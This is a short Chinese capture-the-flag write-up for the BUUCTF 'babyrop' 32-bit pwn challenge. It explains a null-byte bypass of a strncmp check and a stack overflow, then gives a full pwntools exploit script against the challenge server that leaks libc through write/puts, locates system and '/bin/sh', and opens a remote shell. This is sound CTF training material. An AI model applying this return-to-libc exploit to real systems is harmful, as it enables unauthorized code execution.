buuctf-pwn babyrop

简单的32位rop

 读取随机数并传入。sub_804871F的返回值作为sub_80487D0的参数

第二个read就是溢出点

 strncmp对我们输入的内容和随机数进行了的比较,通过\x00终止strlen函数来绕过后面的strncmp。

之后就可以进行正常的rop

计算覆盖v5的偏移0x2c-0x25=0x7

通过泄露地址寻找libc ,得到system和/bin/sh

exp:

from pwn import *
from LibcSearcher import *
a=remote("node3.buuoj.cn",25389)
elf=ELF("babyrop")
#libc=ELF("libc-2.23.so")
write_plt=elf.plt['write']
puts_got=elf.got['puts']
start=0x080485A0
main=0x08048825

#leak_address
payload="\x00"+"\xff"*(0x2c-0x25)
a.sendline(payload)
a.recvuntil("Correct\n")
payload2='a'*0xE7+'a'*4+p32(write_plt)+p32(start)+p32(1)+p32(puts_got)+p32(4)
a.send(payload2)
puts_got=u32(a.recv(4))

#find base
libc=LibcSearcher('puts',puts_got)
base=puts_got-libc.dump('puts')
system=base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')

payload="\x00"+"\xff"*(0x2c-0x25)


a.sendline(payload)
a.recvuntil("Correct\n")
payload2='a'*0xE7+'a'*4+p32(system)+p32(0)+p32(binsh)
a.sendline(payload2)
a.interactive()

猜你喜欢

转载自www.cnblogs.com/remon535/p/13390332.html